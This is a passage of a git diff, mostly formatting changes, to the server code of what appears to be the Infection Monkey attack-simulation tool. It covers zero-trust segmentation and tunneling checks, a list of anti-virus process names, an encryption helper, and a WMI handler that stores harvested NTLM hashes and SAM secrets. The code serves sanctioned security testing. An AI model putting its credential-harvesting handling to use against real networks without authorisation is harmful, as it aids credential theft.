MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, + events=events, + ) - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, - status=found_elastic_search_server, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, + events=events, + ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py index 291348467..2a5c45613 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py @@ -83,5 +83,5 @@ ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ "gc-fastpath.exe", "gc-enforcement-channel.exe", "gc-enforcement-agent.exe", - "gc-agent-ui.exe" + "gc-agent-ui.exe", ] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index d6813259c..9bf0f5de6 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -1,6 +1,8 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): @@ -8,11 +10,10 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe Event.create_event( title="Exploit attempt", message="Monkey on {} attempted to exploit {} using {}.".format( - current_monkey.hostname, - target_ip, - exploiter), + current_monkey.hostname, target_ip, exploiter + ), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp + timestamp=timestamp, ) ] status = zero_trust_consts.STATUS_PASSED @@ -21,15 +22,16 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe Event.create_event( title="Exploit success!", message="Monkey on {} successfully exploited {} using {}.".format( - current_monkey.hostname, - target_ip, - exploiter), + current_monkey.hostname, target_ip, exploiter + ), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp) + timestamp=timestamp, + ) ) status = zero_trust_consts.STATUS_FAILED - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, - events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events + ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index d5a56b36d..d26e2bd69 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -5,15 +5,23 @@ from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_if_in_subnet, get_ip_in_src_and_not_in_dst from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.configuration.utils import ( + get_config_network_segments_as_subnet_groups, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) -SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ - "from `{src_seg}` segments to `{dst_seg}` segments." +SEGMENTATION_DONE_EVENT_TEXT = ( + "Monkey on {hostname} is done attempting cross-segment communications " + "from `{src_seg}` segments to `{dst_seg}` segments." +) -SEGMENTATION_VIOLATION_EVENT_TEXT = \ - "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ +SEGMENTATION_VIOLATION_EVENT_TEXT = ( + "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment " + "{source_seg}) " "managed to communicate cross segment to {target_ip} (in segment {target_seg})." +) def check_segmentation_violation(current_monkey, target_ip): @@ -25,22 +33,27 @@ def check_segmentation_violation(current_monkey, target_ip): source_subnet = subnet_pair[0] target_subnet = subnet_pair[1] if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): - event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) + event = get_segmentation_violation_event( + current_monkey, source_subnet, target_ip, target_subnet + ) MonkeyZTFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, - events=[event] + events=[event], ) -def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str) -> bool: +def is_segmentation_violation( + current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str +) -> bool: """ Checks is a specific communication is a segmentation violation. :param current_monkey: The source monkey which originated the communication. :param target_ip: The target with which the current monkey communicated with. :param source_subnet: The segment the monkey belongs to. :param target_subnet: Another segment which the monkey isn't supposed to communicate with. - :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False. + :return: True if this is a violation of segmentation between source_subnet and + target_subnet; Otherwise, False. """ if source_subnet == target_subnet: return False @@ -49,9 +62,8 @@ def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_sub if target_subnet_range.is_in_range(str(target_ip)): cross_segment_ip = get_ip_in_src_and_not_in_dst( - current_monkey.ip_addresses, - source_subnet_range, - target_subnet_range) + current_monkey.ip_addresses, source_subnet_range, target_subnet_range + ) return cross_segment_ip is not None @@ -61,17 +73,21 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t title="Segmentation event", message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( hostname=current_monkey.hostname, - source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)), + source_ip=get_ip_if_in_subnet( + current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet) + ), source_seg=source_subnet, target_ip=target_ip, - target_seg=target_subnet + target_seg=target_subnet, ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) def check_passed_findings_for_unreached_segments(current_monkey): - flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] + flat_all_subnets = [ + item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist + ] create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) @@ -79,13 +95,17 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): # Filter the subnets that this monkey is part of. this_monkey_subnets = [] for subnet in all_subnets: - if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None: + if ( + get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) + is not None + ): this_monkey_subnets.append(subnet) # Get all the other subnets. other_subnets = list(set(all_subnets) - set(this_monkey_subnets)) - # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey + # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are + # the pairs that the monkey # should have tested. all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) @@ -93,7 +113,7 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): MonkeyZTFindingService.create_or_add_to_existing( status=zero_trust_consts.STATUS_PASSED, events=[get_segmentation_done_event(current_monkey, subnet_pair)], - test=zero_trust_consts.TEST_SEGMENTATION + test=zero_trust_consts.TEST_SEGMENTATION, ) @@ -101,8 +121,7 @@ def get_segmentation_done_event(current_monkey, subnet_pair): return Event.create_event( title="Segmentation test done", message=SEGMENTATION_DONE_EVENT_TEXT.format( - hostname=current_monkey.hostname, - src_seg=subnet_pair[0], - dst_seg=subnet_pair[1]), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1] + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index 4b755be98..092fd67e2 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -2,23 +2,31 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) def check_tunneling_violation(tunnel_telemetry_json): - if tunnel_telemetry_json['data']['proxy'] is not None: + if tunnel_telemetry_json["data"]["proxy"] is not None: # Monkey is tunneling, create findings tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) - current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid']) - tunneling_events = [Event.create_event( - title="Tunneling event", - message="Monkey on {hostname} tunneled traffic through {proxy}.".format( - hostname=current_monkey.hostname, proxy=tunnel_host_ip), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=tunnel_telemetry_json['timestamp'] - )] + current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json["monkey_guid"]) + tunneling_events = [ + Event.create_event( + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json["timestamp"], + ) + ] - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_TUNNELING, - status=zero_trust_consts.STATUS_FAILED, events=tunneling_events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, + events=tunneling_events, + ) MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/monkey_island/cc/services/tests/test_config.py deleted file mode 100644 index 6cee39fbb..000000000 --- a/monkey/monkey_island/cc/services/tests/test_config.py +++ /dev/null @@ -1,34 +0,0 @@ -import pytest - -import monkey_island.cc.services.config -from monkey_island.cc.environment import Environment -from monkey_island.cc.services.config import ConfigService - -IPS = ["0.0.0.0", "9.9.9.9"] -PORT = 9999 - -# If tests fail because config path is changed, sync with -# monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js - - -@pytest.fixture -def config(monkeypatch): - monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", - lambda: IPS) - monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT) - config = ConfigService.get_default_config(True) - return config - - -def test_set_server_ips_in_config_command_servers(config): - ConfigService.set_server_ips_in_config(config) - expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS] - assert config["internal"]["island_server"]["command_servers"] ==\ - expected_config_command_servers - - -def test_set_server_ips_in_config_current_server(config): - ConfigService.set_server_ips_in_config(config) - expected_config_current_server = f"{IPS[0]}:{PORT}" - assert config["internal"]["island_server"]["current_server"] ==\ - expected_config_current_server diff --git a/monkey/monkey_island/cc/services/utils/encryption.py b/monkey/monkey_island/cc/services/utils/encryption.py new file mode 100644 index 000000000..ae4af2257 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/encryption.py @@ -0,0 +1,59 @@ +import base64 +import io +import logging + +import pyAesCrypt + +BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef + +logger = logging.getLogger(__name__) + + +def encrypt_string(plaintext: str, password: str) -> str: + plaintext_stream = io.BytesIO(plaintext.encode()) + ciphertext_stream = io.BytesIO() + + pyAesCrypt.encryptStream(plaintext_stream, ciphertext_stream, password, BUFFER_SIZE) + + ciphertext_b64 = base64.b64encode(ciphertext_stream.getvalue()) + logger.info("String encrypted.") + + return ciphertext_b64.decode() + + +def decrypt_ciphertext(ciphertext: str, password: str) -> str: + ciphertext = base64.b64decode(ciphertext) + ciphertext_stream = io.BytesIO(ciphertext) + plaintext_stream = io.BytesIO() + + ciphertext_stream_len = len(ciphertext_stream.getvalue()) + + try: + pyAesCrypt.decryptStream( + ciphertext_stream, + plaintext_stream, + password, + BUFFER_SIZE, + ciphertext_stream_len, + ) + except ValueError as ex: + if str(ex).startswith("Wrong password"): + logger.info("Wrong password provided for decryption.") + raise InvalidCredentialsError + else: + logger.info("The corrupt ciphertext provided.") + raise InvalidCiphertextError + return plaintext_stream.getvalue().decode("utf-8") + + +def is_encrypted(ciphertext: str) -> bool: + ciphertext = base64.b64decode(ciphertext) + return ciphertext.startswith(b"AES") + + +class InvalidCredentialsError(Exception): + """ Raised when password for decryption is invalid """ + + +class InvalidCiphertextError(Exception): + """ Raised when ciphertext is corrupted """ diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py index cd4f6c4a1..fc991a1c0 100644 --- a/monkey/monkey_island/cc/services/utils/network_utils.py +++ b/monkey/monkey_island/cc/services/utils/network_utils.py @@ -9,13 +9,14 @@ from typing import List from netifaces import AF_INET, ifaddresses, interfaces from ring import lru -__author__ = 'Barak' - # Local ips function if sys.platform == "win32": + def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] + + else: import fcntl @@ -28,12 +29,15 @@ else: max_possible = 8 # initial value while True: struct_bytes = max_possible * struct_size - names = array.array('B', '\0' * struct_bytes) - outbytes = struct.unpack('iL', fcntl.ioctl( - s.fileno(), - 0x8912, # SIOCGIFCONF - struct.pack('iL', struct_bytes, names.buffer_info()[0]) - ))[0] + names = array.array("B", "\0" * struct_bytes) + outbytes = struct.unpack( + "iL", + fcntl.ioctl( + s.fileno(), + 0x8912, # SIOCGIFCONF + struct.pack("iL", struct_bytes, names.buffer_info()[0]), + ), + )[0] if outbytes == struct_bytes: max_possible *= 2 else: @@ -41,8 +45,8 @@ else: namestr = names.tostring() for i in range(0, outbytes, struct_size): - addr = socket.inet_ntoa(namestr[i + 20:i + 24]) - if not addr.startswith('127'): + addr = socket.inet_ntoa(namestr[i + 20 : i + 24]) + if not addr.startswith("127"): result.append(addr) # name of interface is (namestr[i:i+16].split('\0', 1)[0] finally: @@ -50,27 +54,33 @@ else: def is_local_ips(ips: List) -> bool: - filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith('169.254')] + filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith("169.254")] return collections.Counter(ips) == collections.Counter(filtered_local_ips) -# The local IP addresses list should not change often. Therefore, we can cache the result and never call this function -# more than once. This stopgap measure is here since this function is called a lot of times during the report +# The local IP addresses list should not change often. Therefore, we can cache the result and +# never call this function +# more than once. This stopgap measure is here since this function is called a lot of times +# during the report # generation. -# This means that if the interfaces of the Island machine change, the Island process needs to be restarted. +# This means that if the interfaces of the Island machine change, the Island process needs to be +# restarted. @lru(maxsize=1) def local_ip_addresses(): ip_list = [] for interface in interfaces(): addresses = ifaddresses(interface).get(AF_INET, []) - ip_list.extend([link['addr'] for link in addresses if link['addr'] != '127.0.0.1']) + ip_list.extend([link["addr"] for link in addresses if link["addr"] != "127.0.0.1"]) return ip_list -# The subnets list should not change often. Therefore, we can cache the result and never call this function -# more than once. This stopgap measure is here since this function is called a lot of times during the report +# The subnets list should not change often. Therefore, we can cache the result and never call +# this function +# more than once. This stopgap measure is here since this function is called a lot of times +# during the report # generation. -# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted. +# This means that if the interfaces or subnets of the Island machine change, the Island process +# needs to be restarted. @lru(maxsize=1) def get_subnets(): subnets = [] @@ -78,10 +88,9 @@ def get_subnets(): addresses = ifaddresses(interface).get(AF_INET, []) subnets.extend( [ - ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network - for link - in addresses - if link['addr'] != '127.0.0.1' + ipaddress.ip_interface(link["addr"] + "/" + link["netmask"]).network + for link in addresses + if link["addr"] != "127.0.0.1" ] ) return subnets diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index 3b7e48c65..bf5f2211a 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -6,40 +6,46 @@ from typing import List class NodeStates(Enum): - CLEAN_UNKNOWN = 'clean_unknown' - CLEAN_LINUX = 'clean_linux' - CLEAN_WINDOWS = 'clean_windows' - EXPLOITED_LINUX = 'exploited_linux' - EXPLOITED_WINDOWS = 'exploited_windows' - ISLAND = 'island' - ISLAND_MONKEY_LINUX = 'island_monkey_linux' - ISLAND_MONKEY_LINUX_RUNNING = 'island_monkey_linux_running' - ISLAND_MONKEY_LINUX_STARTING = 'island_monkey_linux_starting' - ISLAND_MONKEY_WINDOWS = 'island_monkey_windows' - ISLAND_MONKEY_WINDOWS_RUNNING = 'island_monkey_windows_running' - ISLAND_MONKEY_WINDOWS_STARTING = 'island_monkey_windows_starting' - MANUAL_LINUX = 'manual_linux' - MANUAL_LINUX_RUNNING = 'manual_linux_running' - MANUAL_WINDOWS = 'manual_windows' - MANUAL_WINDOWS_RUNNING = 'manual_windows_running' - MONKEY_LINUX = 'monkey_linux' - MONKEY_LINUX_RUNNING = 'monkey_linux_running' - MONKEY_WINDOWS = 'monkey_windows' - MONKEY_WINDOWS_RUNNING = 'monkey_windows_running' - MONKEY_WINDOWS_STARTING = 'monkey_windows_starting' - MONKEY_LINUX_STARTING = 'monkey_linux_starting' - MONKEY_WINDOWS_OLD = 'monkey_windows_old' - MONKEY_LINUX_OLD = 'monkey_linux_old' + CLEAN_UNKNOWN = "clean_unknown" + CLEAN_LINUX = "clean_linux" + CLEAN_WINDOWS = "clean_windows" + EXPLOITED_LINUX = "exploited_linux" + EXPLOITED_WINDOWS = "exploited_windows" + ISLAND = "island" + ISLAND_MONKEY_LINUX = "island_monkey_linux" + ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running" + ISLAND_MONKEY_LINUX_STARTING = "island_monkey_linux_starting" + ISLAND_MONKEY_WINDOWS = "island_monkey_windows" + ISLAND_MONKEY_WINDOWS_RUNNING = "island_monkey_windows_running" + ISLAND_MONKEY_WINDOWS_STARTING = "island_monkey_windows_starting" + MANUAL_LINUX = "manual_linux" + MANUAL_LINUX_RUNNING = "manual_linux_running" + MANUAL_WINDOWS = "manual_windows" + MANUAL_WINDOWS_RUNNING = "manual_windows_running" + MONKEY_LINUX = "monkey_linux" + MONKEY_LINUX_RUNNING = "monkey_linux_running" + MONKEY_WINDOWS = "monkey_windows" + MONKEY_WINDOWS_RUNNING = "monkey_windows_running" + MONKEY_WINDOWS_STARTING = "monkey_windows_starting" + MONKEY_LINUX_STARTING = "monkey_linux_starting" + MONKEY_WINDOWS_OLD = "monkey_windows_old" + MONKEY_LINUX_OLD = "monkey_linux_old" @staticmethod def get_by_keywords(keywords: List) -> NodeStates: - potential_groups = [i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords)] + potential_groups = [ + i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords) + ] if len(potential_groups) > 1: - raise MultipleGroupsFoundException("Multiple groups contain provided keywords. " - "Manually build group string to ensure keyword order.") + raise MultipleGroupsFoundException( + "Multiple groups contain provided keywords. " + "Manually build group string to ensure keyword order." + ) elif len(potential_groups) == 0: - raise NoGroupsFoundException("No groups found with provided keywords. " - "Check for typos and make sure group codes want to find exists.") + raise NoGroupsFoundException( + "No groups found with provided keywords. " + "Check for typos and make sure group codes want to find exists." + ) return potential_groups[0] @staticmethod diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py deleted file mode 100644 index 1204cb881..000000000 --- a/monkey/monkey_island/cc/services/utils/node_states_test.py +++ /dev/null @@ -1,13 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException - - -class TestNodeGroups(TestCase): - - def test_get_group_by_keywords(self): - self.assertEqual(NodeStates.get_by_keywords(['island']), NodeStates.ISLAND) - self.assertEqual(NodeStates.get_by_keywords(['running', 'linux', 'monkey']), NodeStates.MONKEY_LINUX_RUNNING) - self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING) - with self.assertRaises(NoGroupsFoundException): - NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail']) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index af47bf93a..c42f2d694 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -6,15 +6,13 @@ import monkey_island.cc.environment.environment_singleton as env_singleton from common.utils.exceptions import VersionServerConnectionError from common.version import get_version -__author__ = "itay.mizeretz" - logger = logging.getLogger(__name__) class VersionUpdateService: - VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com' - VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s' - VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true' + VERSION_SERVER_URL_PREF = "https://updates.infectionmonkey.com" + VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + "?deployment=%s&monkey_version=%s" + VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + "&is_download=true" newer_version = None @@ -31,7 +29,7 @@ class VersionUpdateService: try: VersionUpdateService.newer_version = VersionUpdateService._check_new_version() except VersionServerConnectionError: - logger.info('Failed updating version number') + logger.info("Failed updating version number") return VersionUpdateService.newer_version @@ -41,7 +39,10 @@ class VersionUpdateService: Checks if newer monkey version is available :return: False if not, version in string format ('1.6.2') otherwise """ - url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env_singleton.env.get_deployment(), get_version()) + url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % ( + env_singleton.env.get_deployment(), + get_version(), + ) try: reply = requests.get(url, timeout=7) @@ -49,14 +50,17 @@ class VersionUpdateService: logger.info("Can't get latest monkey version, probably no connection to the internet.") raise VersionServerConnectionError - res = reply.json().get('newer_version', None) + res = reply.json().get("newer_version", None) if res is False: return res - [int(x) for x in res.split('.')] # raises value error if version is invalid format + [int(x) for x in res.split(".")] # raises value error if version is invalid format return res @staticmethod def get_download_link(): - return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env_singleton.env.get_deployment(), get_version()) + return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % ( + env_singleton.env.get_deployment(), + get_version(), + ) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 284ae95df..d2f3441f9 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -1,11 +1,9 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.groups_and_users_consts import GROUPTYPE, USERTYPE -__author__ = 'maor.rayzin' - class WMIHandler(object): - ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' + ADMINISTRATORS_GROUP_KNOWN_SID = "1-5-32-544" def __init__(self, monkey_id, wmi_info, user_secrets): @@ -19,11 +17,11 @@ class WMIHandler(object): self.services = "" self.products = "" else: - self.users_info = wmi_info['Win32_UserAccount'] - self.groups_info = wmi_info['Win32_Group'] - self.groups_and_users = wmi_info['Win32_GroupUser'] - self.services = wmi_info['Win32_Service'] - self.products = wmi_info['Win32_Product'] + self.users_info = wmi_info["Win32_UserAccount"] + self.groups_info = wmi_info["Win32_Group"] + self.groups_and_users = wmi_info["Win32_GroupUser"] + self.services = wmi_info["Win32_Service"] + self.products = wmi_info["Win32_Product"] def process_and_handle_wmi_info(self): @@ -37,62 +35,66 @@ class WMIHandler(object): self.update_critical_services() def update_critical_services(self): - critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES') - mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}}) + critical_names = ("W3svc", "MSExchangeServiceHost", "dns", "MSSQL$SQLEXPRES") + mongo.db.monkey.update({"_id": self.monkey_id}, {"$set": {"critical_services": []}}) - services_names_list = [str(i['Name'])[2:-1] for i in self.services] - products_names_list = [str(i['Name'])[2:-2] for i in self.products] + services_names_list = [str(i["Name"])[2:-1] for i in self.services] + products_names_list = [str(i["Name"])[2:-2] for i in self.products] for name in critical_names: if name in services_names_list or name in products_names_list: - mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}}) + mongo.db.monkey.update( + {"_id": self.monkey_id}, {"$addToSet": {"critical_services": name}} + ) def build_entity_document(self, entity_info, monkey_id=None): general_properties_dict = { - 'SID': str(entity_info['SID'])[4:-1], - 'name': str(entity_info['Name'])[2:-1], - 'machine_id': monkey_id, - 'member_of': [], - 'admin_on_machines': [] + "SID": str(entity_info["SID"])[4:-1], + "name": str(entity_info["Name"])[2:-1], + "machine_id": monkey_id, + "member_of": [], + "admin_on_machines": [], } if monkey_id: - general_properties_dict['domain_name'] = None + general_properties_dict["domain_name"] = None else: - general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1] + general_properties_dict["domain_name"] = str(entity_info["Domain"])[2:-1] return general_properties_dict def add_users_to_collection(self): for user in self.users_info: - if not user.get('LocalAccount'): + if not user.get("LocalAccount"): base_entity = self.build_entity_document(user) else: base_entity = self.build_entity_document(user, self.monkey_id) - base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm_hash') - base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') - base_entity['secret_location'] = [] + base_entity["NTLM_secret"] = self.users_secrets.get(base_entity["name"], {}).get( + "ntlm_hash" + ) + base_entity["SAM_secret"] = self.users_secrets.get(base_entity["name"], {}).get("sam") + base_entity["secret_location"] = [] - base_entity['type'] = USERTYPE - self.info_for_mongo[base_entity.get('SID')] = base_entity + base_entity["type"] = USERTYPE + self.info_for_mongo[base_entity.get("SID")] = base_entity def add_groups_to_collection(self): for group in self.groups_info: - if not group.get('LocalAccount'): + if not group.get("LocalAccount"): base_entity = self.build_entity_document(group) else: base_entity = self.build_entity_document(group, self.monkey_id) - base_entity['entities_list'] = [] - base_entity['type'] = GROUPTYPE - self.info_for_mongo[base_entity.get('SID')] = base_entity + base_entity["entities_list"] = [] + base_entity["type"] = GROUPTYPE + self.info_for_mongo[base_entity.get("SID")] = base_entity def create_group_user_connection(self): for group_user_couple in self.groups_and_users: - group_part = group_user_couple['GroupComponent'] - child_part = group_user_couple['PartComponent'] - group_sid = str(group_part['SID'])[4:-1] - groups_entities_list = self.info_for_mongo[group_sid]['entities_list'] - child_sid = '' + group_part = group_user_couple["GroupComponent"] + child_part = group_user_couple["PartComponent"] + group_sid = str(group_part["SID"])[4:-1] + groups_entities_list = self.info_for_mongo[group_sid]["entities_list"] + child_sid = "" if isinstance(child_part, str): child_part = str(child_part) @@ -100,62 +102,80 @@ class WMIHandler(object): domain_name = None if "cimv2:Win32_UserAccount" in child_part: # domain user - domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2] + domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( + '",Name="' + )[0] + name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( + '",Name="' + )[1][:-2] if "cimv2:Win32_Group" in child_part: # domain group - domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2] + domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split( + '",Name="' + )[0] + name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][ + :-2 + ] for entity in self.info_for_mongo: - if self.info_for_mongo[entity]['name'] == name and \ - self.info_for_mongo[entity]['domain'] == domain_name: - child_sid = self.info_for_mongo[entity]['SID'] + if ( + self.info_for_mongo[entity]["name"] == name + and self.info_for_mongo[entity]["domain"] == domain_name + ): + child_sid = self.info_for_mongo[entity]["SID"] else: - child_sid = str(child_part['SID'])[4:-1] + child_sid = str(child_part["SID"])[4:-1] if child_sid and child_sid not in groups_entities_list: groups_entities_list.append(child_sid) if child_sid: if child_sid in self.info_for_mongo: - self.info_for_mongo[child_sid]['member_of'].append(group_sid) + self.info_for_mongo[child_sid]["member_of"].append(group_sid) def insert_info_to_mongo(self): for entity in list(self.info_for_mongo.values()): - if entity['machine_id']: + if entity["machine_id"]: # Handling for local entities. - 